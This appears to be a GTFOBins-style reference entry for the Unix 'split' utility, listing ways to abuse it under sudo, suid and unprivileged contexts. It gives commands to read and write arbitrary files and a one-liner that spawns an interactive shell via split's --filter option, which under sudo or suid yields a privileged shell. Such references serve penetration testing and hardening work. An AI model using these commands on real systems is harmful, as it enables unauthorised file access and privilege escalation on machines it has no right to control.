split

File Read

Context: sudo, suid, unprivileged

split -b 999 --additional-suffix suffix /path/to/input-file prefix
cat prefixaasuffix

File Write

Context: sudo, suid, unprivileged

split -b 999 --additional-suffix suffix /path/to/input-file prefix

Shell

Context: sudo, suid, unprivileged

split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts